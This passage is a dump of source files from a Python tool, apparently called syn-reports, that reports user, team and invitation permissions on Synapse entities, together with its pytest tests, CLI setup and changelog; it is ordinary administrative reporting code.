body=json.dumps(body))\n\n out_file = os.path.join(synapse_test_helper.create_temp_dir(), 'outfile.csv')\n report = BenefactorPermissionsReport(syn_project.id, out_path=out_file)\n report.execute()\n csv_passed = False\n with open(out_file, newline='') as csvfile:\n reader = csv.DictReader(csvfile)\n for row in reader:\n if row['username'] == invite_user['userName']:\n assert row['principal_type'] == 'Invite'\n assert row['team_id'] == project_team.id\n assert row['user_id'] == invite_user_id\n csv_passed = True\n assert csv_passed is True\n\n\ndef test_it_outputs_team_invites_by_email_to_csv(synapse_test_helper, syn_project):\n project_team = synapse_test_helper.create_team()\n SynapseProxy.client().setPermissions(syn_project, project_team.id,\n accessType=SynapseProxy.Permissions.CAN_EDIT_AND_DELETE,\n warn_if_inherits=False)\n invite_user_email = os.environ.get('TEST_EMAIL')\n body = {\n 'teamId': project_team.id,\n 'inviteeEmail': invite_user_email\n }\n SynapseProxy.client().restPOST('/membershipInvitation', body=json.dumps(body))\n\n out_file = os.path.join(synapse_test_helper.create_temp_dir(), 'outfile.csv')\n report = BenefactorPermissionsReport(syn_project.id, out_path=out_file)\n report.execute()\n csv_passed = False\n with open(out_file, newline='') as csvfile:\n reader = csv.DictReader(csvfile)\n for row in reader:\n if row['username'] == invite_user_email:\n assert row['principal_type'] == 'Invite'\n assert row['team_id'] == project_team.id\n assert row['user_id'] == ''\n csv_passed = True\n assert csv_passed is True\n\n\ndef test_it_reports_on_folders_by_id(capsys, syn_folder):\n BenefactorPermissionsReport(syn_folder.id).execute()\n assert_success_from_print(capsys, syn_folder)\n\n\ndef test_it_cannot_report_folders_by_name(capsys, syn_folder):\n BenefactorPermissionsReport(syn_folder.name).execute()\n captured = capsys.readouterr()\n assert 'Entity does not exist or you do not have access to the entity:' in captured.err\n\n\ndef test_it_reports_on_files_by_id(capsys, syn_file):\n BenefactorPermissionsReport(syn_file.id).execute()\n assert_success_from_print(capsys, syn_file)\n\n\ndef test_it_cannot_report_files_by_name(capsys, syn_file):\n BenefactorPermissionsReport(syn_file.name).execute()\n captured = capsys.readouterr()\n assert 'Entity does not exist or you do not have access to the entity:' in captured.err\n\n\ndef test_it_does_not_raise_error_on_projects_not_found(capsys, synapse_test_helper):\n for id_or_name in ['syn000', synapse_test_helper.uniq_name(prefix='DOES NOT EXIST')]:\n BenefactorPermissionsReport(id_or_name).execute()\n captured = capsys.readouterr()\n assert 'Entity does not exist or you do not have access to the entity:' in captured.err\n"
},
{
"alpha_fraction": 0.6966413855552673,
"alphanum_fraction": 0.6993499398231506,
"avg_line_length": 34.5,
"blob_id": "2bf7dabc8b517c079e8ed20338c2f2f20fc19670",
"content_id": "dca96fd3b2a3566a424186f18fad99a73e1d5e0a",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1846,
"license_type": "permissive",
"max_line_length": 102,
"num_lines": 52,
"path": "/tests/syn_reports/commands/team_members_report/test_team_members_report.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import pytest\nimport os\nfrom src.syn_reports.commands.team_members_report import TeamMembersReport\n\n\ndef assert_success_from_print(capsys, *teams):\n captured = capsys.readouterr()\n assert captured.err == ''\n for team in teams:\n assert 'Found team: {0} ({1}) with {2} members.'.format(team.name, team.id, 1) in captured.out\n\n\ndef assert_success_from_csv(csv_full_path, *teams):\n assert os.path.isfile(csv_full_path)\n with open(csv_full_path, mode='r') as f:\n contents = f.read()\n for team in teams:\n assert team.id in contents\n assert team.name in contents\n\n\ndef test_it_reports_on_teams_by_id(capsys, syn_team):\n TeamMembersReport(syn_team.id).execute()\n assert_success_from_print(capsys, syn_team)\n\n\ndef test_it_reports_on_teams_by_name(capsys, syn_team):\n TeamMembersReport(syn_team.name).execute()\n assert_success_from_print(capsys, syn_team)\n\n\ndef test_it_does_not_blowup_if_entity_not_found(capsys):\n TeamMembersReport('0').execute()\n captured = capsys.readouterr()\n assert 'Team does not exist or you do not have access to the team.' in captured.err\n\n\ndef test_it_outputs_csv_to_dir(capsys, synapse_test_helper, syn_team):\n out_dir = synapse_test_helper.create_temp_dir()\n report = TeamMembersReport(syn_team.id, out_path=out_dir)\n report.execute()\n assert_success_from_print(capsys, syn_team)\n assert_success_from_csv(report._csv_full_path, syn_team)\n\n\ndef test_it_outputs_csv_to_file(capsys, synapse_test_helper, syn_team):\n out_file = os.path.join(synapse_test_helper.create_temp_dir(), 'outfile.csv')\n report = TeamMembersReport(syn_team.id, out_path=out_file)\n report.execute()\n assert report._csv_full_path == out_file\n assert_success_from_print(capsys, syn_team)\n assert_success_from_csv(report._csv_full_path, syn_team)\n"
},
{
"alpha_fraction": 0.6828193664550781,
"alphanum_fraction": 0.7136563658714294,
"avg_line_length": 36.83333206176758,
"blob_id": "1f15ecf8508910ae0f570334db9e6a292b0a99f9",
"content_id": "8bd94ea32bde7814d65d2faab835411278eccaef",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 227,
"license_type": "permissive",
"max_line_length": 60,
"num_lines": 6,
"path": "/tests/syn_reports/commands/team_members_report/test_cli.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "def test_it_returns_success(expect_cli_exit_code, syn_team):\n expect_cli_exit_code('team-members', 0, syn_team.id)\n\n\ndef test_it_returns_failure(expect_cli_exit_code):\n expect_cli_exit_code('team-members', 1, 'syn00000')\n"
},
{
"alpha_fraction": 0.49613142013549805,
"alphanum_fraction": 0.500158965587616,
"avg_line_length": 46.65151596069336,
"blob_id": "ee84f0853c903cee928f4fe7efb63d18a78ce685",
"content_id": "163ab3d40d05e7fe935248baa0a7fb92d9cd9b61",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 9435,
"license_type": "permissive",
"max_line_length": 120,
"num_lines": 198,
"path": "/src/syn_reports/commands/entity_permissions_report/entity_permissions_report.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import os\nimport csv\nimport synapseclient as syn\nfrom ...core import SynapseProxy, Utils\n\n\nclass EntityPermissionsReport:\n \"\"\"\n This report will show the permissions of each user and team on an entity.\n \"\"\"\n\n def __init__(self, entity_ids_or_names, out_path=None, recursive=False, report_on_all=False):\n self._entity_ids_or_names = entity_ids_or_names\n if self._entity_ids_or_names and not isinstance(self._entity_ids_or_names, list):\n self._entity_ids_or_names = [self._entity_ids_or_names]\n self._out_path = Utils.expand_path(out_path) if out_path else None\n self._recursive = recursive\n self._report_on_all = report_on_all\n self._csv_full_path = None\n self._csv_file = None\n self._csv_writer = None\n self.errors = []\n\n CSV_HEADERS = ['entity_type',\n 'entity_id',\n 'entity_name',\n 'principal_type',\n 'team_id',\n 'team_name',\n 'is_team_manager',\n 'user_id',\n 'username',\n 'first_name',\n 'last_name',\n 'emails',\n 'permission_level']\n\n def execute(self):\n if self._out_path:\n if self._out_path.lower().endswith('.csv'):\n self._csv_full_path = self._out_path\n else:\n self._csv_full_path = os.path.join(self._out_path,\n 'entity-permissions-{0}.csv'.format(Utils.timestamp_str()))\n Utils.ensure_dirs(os.path.dirname(self._csv_full_path))\n self._csv_file = open(self._csv_full_path, mode='w', newline='', encoding='utf-8')\n self._csv_writer = csv.DictWriter(self._csv_file,\n delimiter=',',\n quotechar='\"',\n fieldnames=self.CSV_HEADERS,\n quoting=csv.QUOTE_ALL)\n self._csv_writer.writeheader()\n try:\n for id_or_name in self._entity_ids_or_names:\n self._report_on_entity(id_or_name)\n finally:\n if self._csv_file:\n self._csv_file.close()\n if self._csv_full_path:\n print('')\n print('Report saved to: {0}'.format(self._csv_full_path))\n return self\n\n def _report_on_entity(self, id_or_name, root_benefactor_id=None):\n print('=' * 80)\n print('Looking up entity: \"{0}\"...'.format(id_or_name))\n entity = None\n try:\n if SynapseProxy.is_synapse_id(id_or_name):\n syn_id_to_load = id_or_name\n else:\n syn_id_to_load = SynapseProxy.client().findEntityId(id_or_name)\n\n if syn_id_to_load:\n entity = SynapseProxy.client().restGET('/entity/{0}/type'.format(syn_id_to_load))\n except syn.core.exceptions.SynapseHTTPError:\n # Entity does not exist.\n pass\n except Exception as ex:\n self._show_error('Error loading entity: {0}'.format(ex))\n\n if entity:\n try:\n entity_type = SynapseProxy.entity_type_display_name(entity)\n print('{0}: {1} ({2}) found.'.format(entity_type, entity['name'], entity['id']))\n benefactor_id = entity['benefactorId']\n\n # Only report on permissions that are different from the root entity's permissions.\n if not self._report_on_all and (root_benefactor_id is not None and root_benefactor_id == benefactor_id):\n print(' Permissions inherited from root entity.')\n else:\n # NOTE: Do not use syn._getACL() as it will raise an error if the entity inherits its ACL.\n entity_acl = SynapseProxy.client().restGET('/entity/{0}/acl'.format(benefactor_id))\n # Get the resource access items and sort them so they can be compared.\n resource_accesses = sorted(entity_acl.get('resourceAccess', []), key=lambda r: r.get('principalId'))\n for resource in resource_accesses:\n resource.get('accessType').sort()\n\n for resource in resource_accesses:\n user_or_team = SynapseProxy.WithCache.get_user_or_team(resource.get('principalId'))\n permission_level = SynapseProxy.Permissions.name(resource.get('accessType'))\n self._display_principal(entity, entity_type, permission_level, user_or_team)\n\n if isinstance(user_or_team, syn.Team):\n team_members = SynapseProxy.WithCache.get_team_members(user_or_team.id)\n for team_member in team_members:\n is_team_manager = team_member.get('isAdmin')\n member = team_member.get('member')\n user_id = member.get('ownerId')\n user = SynapseProxy.WithCache.get_user(user_id)\n self._display_principal(entity,\n entity_type,\n permission_level,\n user,\n from_team_id=user_or_team.id,\n from_team_name=user_or_team.name,\n from_team_user_is_manager=is_team_manager)\n\n if self._recursive:\n if root_benefactor_id is None:\n root_benefactor_id = benefactor_id\n\n if SynapseProxy.is_project(entity) or SynapseProxy.is_folder(entity):\n for child in SynapseProxy.client().getChildren(entity['id'],\n includeTypes=['folder', 'file', 'table']):\n self._report_on_entity(child['id'], root_benefactor_id=root_benefactor_id)\n\n except Exception as ex:\n self._show_error('Error loading entity data: {0}'.format(ex))\n else:\n self._show_error('Entity does not exist or you do not have access to the entity.')\n\n def _display_principal(self, entity, entity_type, permission_level, user_or_team,\n from_team_id=None, from_team_name=None, from_team_user_is_manager=None):\n indent = ' ' if from_team_id is None else ' '\n print('{0}---'.format(indent))\n principal_type = None\n team_name = None\n team_id = None\n is_team_manager = from_team_user_is_manager\n user_id = None\n username = None\n first_name = None\n last_name = None\n emails = None\n\n if isinstance(user_or_team, syn.Team):\n principal_type = 'Team'\n team_name = user_or_team.name\n team_id = user_or_team.id\n print('{0}Team: {1} ({2})'.format(indent, team_name, team_id))\n elif user_or_team is None:\n principal_type = 'Unknown'\n print('{0}Username/Team: Unknown - Script user ({1}) may not have access to this user/team data.)'.format(\n indent, SynapseProxy._synapse_username))\n if from_team_name:\n print('{0}From Team: {1} ({2})'.format(indent, from_team_name, from_team_id))\n else:\n principal_type = 'User'\n user_id = user_or_team.ownerId\n username = user_or_team.userName\n first_name = user_or_team.get('firstName', None)\n last_name = user_or_team.get('lastName', None)\n emails = ','.join(user_or_team.get('emails', []))\n print('{0}Username: {1} ({2})'.format(indent, username, user_id))\n if from_team_name:\n print('{0}From Team: {1} ({2})'.format(indent, from_team_name, from_team_id))\n if first_name:\n print('{0}First Name: {1}'.format(indent, first_name))\n if last_name:\n print('{0}Last Name: {1}'.format(indent, last_name))\n if emails:\n print('{0}Emails: {1}'.format(indent, emails))\n if is_team_manager is not None:\n print('{0}Team Manager: {1}'.format(indent, is_team_manager))\n\n print('{0}Permission: {1}'.format(indent, permission_level))\n\n if self._csv_writer:\n self._csv_writer.writerow({\n 'entity_type': entity_type,\n 'entity_id': entity['id'],\n 'entity_name': entity['name'],\n 'principal_type': principal_type,\n 'team_id': team_id or from_team_id,\n 'team_name': team_name or from_team_name,\n 'is_team_manager': is_team_manager,\n 'user_id': user_id,\n 'username': username,\n 'first_name': first_name,\n 'last_name': last_name,\n 'emails': emails,\n 'permission_level': permission_level\n })\n\n def _show_error(self, msg):\n self.errors.append(msg)\n Utils.eprint(msg)\n"
},
{
"alpha_fraction": 0.6244813203811646,
"alphanum_fraction": 0.6244813203811646,
"avg_line_length": 47.20000076293945,
"blob_id": "8997063c1fba557d5775b09918053e30b3455c09",
"content_id": "2e76697e63a421d4c912f82f3f8b05a7c6fadf6c",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 964,
"license_type": "permissive",
"max_line_length": 191,
"num_lines": 20,
"path": "/src/syn_reports/commands/user_project_access_report/cli.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "from .user_project_access_report import UserProjectAccessReport\n\n\ndef create(subparsers, parents):\n parser = subparsers.add_parser('user-project-access',\n parents=parents,\n help='Report the projects a user has access to. NOTE: Only public projects or projects the user executing this script has access to will be reported.')\n parser.add_argument('users',\n nargs='+',\n help='The IDs and/or usernames of the users to report on.')\n parser.add_argument('-o', '--out-path', default=None,\n help='Path to export the report to. Specify a path that ends in \".csv\" to export to a specific file otherwise a timestamped filename will be created in the out-path.')\n parser.set_defaults(_execute=execute)\n\n\ndef execute(args):\n return UserProjectAccessReport(\n args.users,\n out_path=args.out_path\n ).execute()\n"
},
{
"alpha_fraction": 0.7641509175300598,
"alphanum_fraction": 0.7688679099082947,
"avg_line_length": 29.285715103149414,
"blob_id": "65ee50fe6940763d43910940396ef401f0001dfa",
"content_id": "608f3d07b60575710da18f08891e7a82231c43f5",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 212,
"license_type": "permissive",
"max_line_length": 72,
"num_lines": 7,
"path": "/tests/syn_reports/commands/team_access_report/test_team_access_report.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import pytest\nfrom src.syn_reports.commands.team_access_report import TeamAccessReport\n\n\ndef test_it_raises_not_implemented():\n with pytest.raises(NotImplementedError):\n TeamAccessReport('0').execute()\n"
},
{
"alpha_fraction": 0.5899689793586731,
"alphanum_fraction": 0.6887280344963074,
"avg_line_length": 17.419048309326172,
"blob_id": "a27bfbdefbf814e57624cfa18d006c53ee79b361",
"content_id": "fe3da34265cd8947a15d7c4b0894f8d0054fbf71",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 1934,
"license_type": "permissive",
"max_line_length": 113,
"num_lines": 105,
"path": "/CHANGELOG.md",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "# Change Log\n\n## Version 0.0.16 (2022-11-03)\n\n### Added\n\n- Added invited users to benefactor-permissions report.\n\n## Version 0.0.15 (2022-05-02)\n\n### Added\n\n- Additional args for benefactor-permissions report.\n\n## Version 0.0.14 (2021-08-03)\n\n### Added\n\n- Added CSV column for \"is_team_manager\" to benefactor-permissions and entity-permissions reports.\n\n## Version 0.0.13 (2021-08-02)\n\n### Bug Fixes\n\n- Fixed CSV writing on Windows.\n\n## Version 0.0.12 (2021-07-19)\n\n### Added\n\n- Added system exit codes.\n\n## Version 0.0.11 (2021-06-21)\n\n### Added\n\n- Added `--all` to entity_permissions_report to show all permissions.\n- Do not set the `entity_parent_id` for projects in the benefactor_permissions_report CSV file.\n\n## Version 0.0.10 (2020-11-04)\n\n### Added\n\n- Refactored caching.\n- Added `company` field to `team-members` CSV file.\n\n## Version 0.0.9 (2020-10-28)\n\n### Added\n\n- Added `entity_project_id` and `user_data` fields to benefactor-permissions CSV file.\n- Removed `emails` field from benefactor-permissions CSV file.\n\n## Version 0.0.8 (2020-10-14)\n\n### Added\n\n- Fix `--version` arg.\n\n## Version 0.0.7 (2020-10-12)\n\n### Added\n\n- Updated benefactor-permissions report to work with projects and folders that have more than 20,000 child items.\n- Added `--version` arg.\n\n## Version 0.0.6 (2020-07-14)\n\n### Added\n\n- Added `entity_parent_id` to benefactor-permissions CSV file.\n\n## Version 0.0.5 (2020-06-29)\n\n### Added\n\n- Upgraded synapseclient to version 2.1.0\n\n## Version 0.0.4 (2020-06-17)\n\n### Added\n\n- Added benefactor-permissions report.\n\n### Bug Fixes\n\n- Extra blank line after every row in CSV files when run on Windows.\n\n## Version 0.0.3 (2020-06-03)\n\n### Added\n\n- user-teams report: Ability to only report teams that have specific members.\n\n## Version 0.0.2 (2020-06-02)\n\n### Bug Fixes\n\n- Log users and teams that the script user does not have permissions to.\n\n## Version 0.0.1 (2020-02-26)\n\n### Added\n\n- Initial release.\n"
},
{
"alpha_fraction": 0.4452601969242096,
"alphanum_fraction": 0.44893112778663635,
"avg_line_length": 41.87963104248047,
"blob_id": "e3a50e7e39de96b6fd31d23dd879f9a786c852fb",
"content_id": "920152799d97067750423dcb81a7d26284e73fc0",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4631,
"license_type": "permissive",
"max_line_length": 120,
"num_lines": 108,
"path": "/src/syn_reports/commands/team_members_report/team_members_report.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import os\nimport csv\nfrom ...core import SynapseProxy, Utils\n\n\nclass TeamMembersReport:\n \"\"\"\n This report shows all the users on a team.\n \"\"\"\n\n def __init__(self, team_ids_or_names, out_path=None):\n self._team_ids_or_names = team_ids_or_names\n if self._team_ids_or_names and not isinstance(self._team_ids_or_names, list):\n self._team_ids_or_names = [self._team_ids_or_names]\n self._out_path = Utils.expand_path(out_path) if out_path else None\n self._csv_full_path = None\n self._csv_file = None\n self._csv_writer = None\n self.errors = []\n\n CSV_HEADERS = ['team_id',\n 'team_name',\n 'user_id',\n 'username',\n 'first_name',\n 'last_name',\n 'company',\n 'is_admin']\n\n def execute(self):\n if self._out_path:\n if self._out_path.lower().endswith('.csv'):\n self._csv_full_path = self._out_path\n else:\n self._csv_full_path = os.path.join(self._out_path, 'team-members-{0}.csv'.format(Utils.timestamp_str()))\n Utils.ensure_dirs(os.path.dirname(self._csv_full_path))\n self._csv_file = open(self._csv_full_path, mode='w', newline='', encoding='utf-8')\n self._csv_writer = csv.DictWriter(self._csv_file,\n delimiter=',',\n quotechar='\"',\n fieldnames=self.CSV_HEADERS,\n quoting=csv.QUOTE_ALL)\n self._csv_writer.writeheader()\n try:\n for id_or_name in self._team_ids_or_names:\n self._report_on_team(id_or_name)\n finally:\n if self._csv_file:\n self._csv_file.close()\n if self._csv_full_path:\n print('Report saved to: {0}'.format(self._csv_full_path))\n return self\n\n def _report_on_team(self, id_or_name):\n print('=' * 80)\n print('Looking up team: \"{0}\"...'.format(id_or_name))\n team = None\n try:\n team = SynapseProxy.client().getTeam(id_or_name)\n except ValueError:\n # Team does not exist.\n pass\n except Exception as ex:\n self._show_error('Error loading team: {0}'.format(ex))\n\n if team:\n try:\n members = list(SynapseProxy.client().getTeamMembers(team))\n print('Found team: {0} ({1}) with {2} members.'.format(team.name, team.id, len(members)))\n for record in members:\n print(' ---')\n member = record.get('member')\n user = SynapseProxy.WithCache.get_user(member.get('ownerId'))\n\n user_id = user.get('ownerId')\n username = user.get('userName', None)\n first_name = user.get('firstName', None)\n last_name = user.get('lastName', None)\n company = user.get('company', None)\n is_admin = record.get('isAdmin', False)\n\n if username:\n print(' Username: {0} ({1})'.format(username, user_id))\n if first_name:\n print(' First Name: {0}'.format(first_name))\n if last_name:\n print(' Last Name: {0}'.format(last_name))\n if company:\n print(' Company: {0}'.format(company))\n print(' Is Admin: {0}'.format('Yes' if is_admin else 'No'))\n\n if self._csv_writer:\n self._csv_writer.writerow({'team_id': team.id,\n 'team_name': team.name,\n 'user_id': user_id,\n 'username': username,\n 'first_name': first_name,\n 'last_name': last_name,\n 'company': company,\n 'is_admin': is_admin})\n except Exception as ex:\n self._show_error('Error loading team data: {0}'.format(ex))\n else:\n self._show_error('Team does not exist or you do not have access to the team.')\n\n def _show_error(self, msg):\n self.errors.append(msg)\n Utils.eprint(msg)\n"
},
{
"alpha_fraction": 0.824999988079071,
"alphanum_fraction": 0.824999988079071,
"avg_line_length": 39,
"blob_id": "455e66ae3e62f43029101eca7d673527728881c1",
"content_id": "ec865e1b7da87d9ef1d05d58bb3abda5d6d2c20b",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 80,
"license_type": "permissive",
"max_line_length": 46,
"num_lines": 2,
"path": "/src/syn_reports/commands/user_teams_report/__init__.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "from .cli import create, execute\nfrom .user_teams_report import UserTeamsReport\n"
},
{
"alpha_fraction": 0.8453608155250549,
"alphanum_fraction": 0.8453608155250549,
"avg_line_length": 47.5,
"blob_id": "54a17fcb571fdf180955399413891a61eef18321",
"content_id": "44f02cdaffc94490546ebfac775c32cd6f73125f",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 97,
"license_type": "permissive",
"max_line_length": 63,
"num_lines": 2,
"path": "/src/syn_reports/commands/user_project_access_report/__init__.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "from .cli import create, execute\nfrom .user_project_access_report import UserProjectAccessReport\n"
},
{
"alpha_fraction": 0.7157669067382812,
"alphanum_fraction": 0.7179120779037476,
"avg_line_length": 38.39436721801758,
"blob_id": "52fa75774a3108cfc7d346615c91fa24ff5e02a7",
"content_id": "c12a999f1181502521f1dfc41893343141919b6d",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2797,
"license_type": "permissive",
"max_line_length": 99,
"num_lines": 71,
"path": "/tests/syn_reports/commands/user_project_access_report/test_user_project_access_report.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import pytest\nimport os\nfrom src.syn_reports.commands.user_project_access_report import UserProjectAccessReport\n\n\[email protected](scope='session')\ndef syn_user(syn_client):\n return syn_client.getUserProfile(os.environ.get('SYNAPSE_USERNAME'))\n\n\ndef assert_user_success_from_print(capsys, *users):\n captured = capsys.readouterr()\n assert captured.err == ''\n for user in users:\n assert 'Username: {0} ({1})'.format(user.userName, user.ownerId) in captured.out\n\n\ndef assert_project_success_from_print(capsys, *projects):\n captured = capsys.readouterr()\n assert captured.err == ''\n for project in projects:\n 'Project: {0} ({1}) [{2}]'.format(project.name, project.id, 'Adminitrator') in captured.out\n\n\ndef assert_success_from_csv(csv_full_path, user, *entities):\n assert os.path.isfile(csv_full_path)\n with open(csv_full_path, mode='r') as f:\n contents = f.read()\n assert user.ownerId in contents\n assert user.userName in contents\n for entity in entities:\n assert entity.id in contents\n assert entity.name in contents\n\n\ndef test_it_reports_by_user_id(capsys, syn_user, syn_project):\n UserProjectAccessReport(syn_user.ownerId).execute()\n assert_user_success_from_print(capsys, syn_user)\n assert_project_success_from_print(capsys, syn_project)\n\n\ndef test_it_reports_by_username(capsys, syn_user, syn_project):\n UserProjectAccessReport(syn_user.userName).execute()\n assert_user_success_from_print(capsys, syn_user)\n assert_project_success_from_print(capsys, syn_project)\n\n\ndef test_it_does_not_blowup_if_user_not_found(capsys, synapse_test_helper):\n username = synapse_test_helper.uniq_name(prefix='Invalid-User')\n UserProjectAccessReport(username).execute()\n captured = capsys.readouterr()\n assert 'Could not find user matching: {0}'.format(username) in captured.err\n\n\ndef test_it_outputs_csv_to_dir(capsys, synapse_test_helper, syn_user, syn_project):\n out_dir = synapse_test_helper.create_temp_dir()\n report = UserProjectAccessReport(syn_user.userName, out_path=out_dir)\n report.execute()\n assert_user_success_from_print(capsys, syn_user)\n assert_project_success_from_print(capsys, syn_project)\n assert_success_from_csv(report._csv_full_path, syn_user, syn_project)\n\n\ndef test_it_outputs_csv_to_file(capsys, synapse_test_helper, syn_user, syn_project):\n out_file = os.path.join(synapse_test_helper.create_temp_dir(), 'outfile.csv')\n report = UserProjectAccessReport(syn_user.userName, out_path=out_file)\n report.execute()\n assert report._csv_full_path == out_file\n assert_user_success_from_print(capsys, syn_user)\n assert_project_success_from_print(capsys, syn_project)\n assert_success_from_csv(report._csv_full_path, syn_user, syn_project)\n"
},
{
"alpha_fraction": 0.7104499340057373,
"alphanum_fraction": 0.7126269936561584,
"avg_line_length": 41.61855697631836,
"blob_id": "1e1ef71c9c75297a7e02340345a561ea1aa4caea",
"content_id": "6cb1c0717dcb3b8055f6a6f842ad5d3fe5b0e491",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4134,
"license_type": "permissive",
"max_line_length": 96,
"num_lines": 97,
"path": "/tests/syn_reports/commands/entity_permissions_report/test_entity_permissions_report.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import pytest\nimport os\nfrom src.syn_reports.commands.entity_permissions_report import EntityPermissionsReport\nfrom src.syn_reports.core import Utils, SynapseProxy\n\n\ndef assert_success_from_print(capsys, *entities):\n captured = capsys.readouterr()\n assert captured.err == ''\n for entity in entities:\n log_msg = '{0}: {1} ({2}) found.'.format(SynapseProxy.entity_type_display_name(entity),\n entity.name,\n entity.id)\n assert log_msg in captured.out\n\n\ndef assert_success_from_csv(csv_full_path, *entities):\n assert os.path.isfile(csv_full_path)\n with open(csv_full_path, mode='r') as f:\n contents = f.read()\n for entity in entities:\n assert entity.id in contents\n assert entity.name in contents\n\n\ndef test_it_reports_on_projects_by_id(capsys, syn_project):\n EntityPermissionsReport(syn_project.id).execute()\n assert_success_from_print(capsys, syn_project)\n\n\ndef test_it_reports_on_projects_by_name(capsys, syn_project):\n EntityPermissionsReport(syn_project.name).execute()\n assert_success_from_print(capsys, syn_project)\n\n\ndef test_it_does_not_blowup_if_entity_not_found(capsys):\n EntityPermissionsReport('syn000').execute()\n captured = capsys.readouterr()\n assert 'Entity does not exist or you do not have access to the entity.' in captured.err\n\n\ndef test_it_reports_recursively_by_project(capsys, syn_project, syn_folder, syn_file):\n EntityPermissionsReport(syn_project.id, recursive=True).execute()\n assert_success_from_print(capsys, syn_project, syn_folder, syn_file)\n\n\ndef test_it_reports_all_permissions_by_project(capsys, syn_project, syn_folder, syn_file):\n EntityPermissionsReport(syn_project.id, recursive=True, report_on_all=True).execute()\n assert_success_from_print(capsys, syn_project, syn_folder, syn_file)\n\n\ndef test_it_outputs_csv_to_dir(capsys, synapse_test_helper, syn_project, syn_folder, syn_file):\n out_dir = synapse_test_helper.create_temp_dir()\n report = EntityPermissionsReport(syn_project.id, recursive=True, out_path=out_dir)\n report.execute()\n assert_success_from_print(capsys, syn_project, syn_folder, syn_file)\n # Folder and File have the same permissions as the project so they are not in the CSV.\n assert_success_from_csv(report._csv_full_path, syn_project)\n\n\ndef test_it_outputs_csv_to_file(capsys, synapse_test_helper, syn_project, syn_folder, syn_file):\n out_file = os.path.join(synapse_test_helper.create_temp_dir(), 'outfile.csv')\n report = EntityPermissionsReport(syn_project.id, recursive=True, out_path=out_file)\n report.execute()\n assert report._csv_full_path == out_file\n assert_success_from_print(capsys, syn_project, syn_folder, syn_file)\n # Folder and File have the same permissions as the project so they are not in the CSV.\n assert_success_from_csv(report._csv_full_path, syn_project)\n\n\ndef test_it_reports_on_folders_by_id(capsys, syn_folder):\n EntityPermissionsReport(syn_folder.id).execute()\n assert_success_from_print(capsys, syn_folder)\n\n\ndef test_it_cannot_report_folders_by_name(capsys, syn_folder):\n EntityPermissionsReport(syn_folder.name).execute()\n captured = capsys.readouterr()\n assert 'Entity does not exist or you do not have access to the entity.' in captured.err\n\n\ndef test_it_reports_on_files_by_id(capsys, syn_file):\n EntityPermissionsReport(syn_file.id).execute()\n assert_success_from_print(capsys, syn_file)\n\n\ndef test_it_cannot_report_files_by_name(capsys, syn_file):\n EntityPermissionsReport(syn_file.name).execute()\n captured = capsys.readouterr()\n assert 'Entity does not exist or you do not have access to the entity.' in captured.err\n\n\ndef test_it_does_not_raise_error_on_projects_not_found(capsys, synapse_test_helper):\n for id_or_name in ['syn000', synapse_test_helper.uniq_name(prefix='DOES NOT EXIST')]:\n EntityPermissionsReport(id_or_name).execute()\n captured = capsys.readouterr()\n assert 'Entity does not exist or you do not have access to the entity.' in captured.err\n"
},
{
"alpha_fraction": 0.5695315599441528,
"alphanum_fraction": 0.5711299777030945,
"avg_line_length": 30.523256301879883,
"blob_id": "64897d733d2605d7367ff13d504d686168747d71",
"content_id": "6b42a172f89088d19b2dc06c3c30733f2a9c3324",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 8133,
"license_type": "permissive",
"max_line_length": 102,
"num_lines": 258,
"path": "/src/syn_reports/core/synapse_proxy.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import functools\nimport os\nimport urllib\nimport getpass\nimport re\nimport synapseclient as syn\n\n\nclass SynapseProxy:\n _synapse_client = None\n _synapse_username = None\n _synapse_password = None\n\n @classmethod\n def configure(cls, **kwargs):\n if kwargs.get('username', None):\n cls._synapse_username = kwargs.get('username')\n if kwargs.get('password', None):\n cls._synapse_password = kwargs.get('password')\n\n @classmethod\n def login(cls, username=None, password=None):\n username = cls._synapse_username if username is None else username\n password = cls._synapse_password if password is None else password\n\n username = username or os.getenv('SYNAPSE_USERNAME')\n password = password or os.getenv('SYNAPSE_PASSWORD')\n\n if not username:\n username = input('Synapse username: ')\n\n if not password:\n password = getpass.getpass(prompt='Synapse password: ')\n\n print('Logging into Synapse as: {0}'.format(username))\n try:\n # Disable the synapseclient progress output.\n syn.core.utils.printTransferProgress = lambda *a, **k: None\n\n cls._synapse_client = syn.Synapse(skip_checks=True)\n cls._synapse_client.login(username, password, silent=True, rememberMe=False)\n except 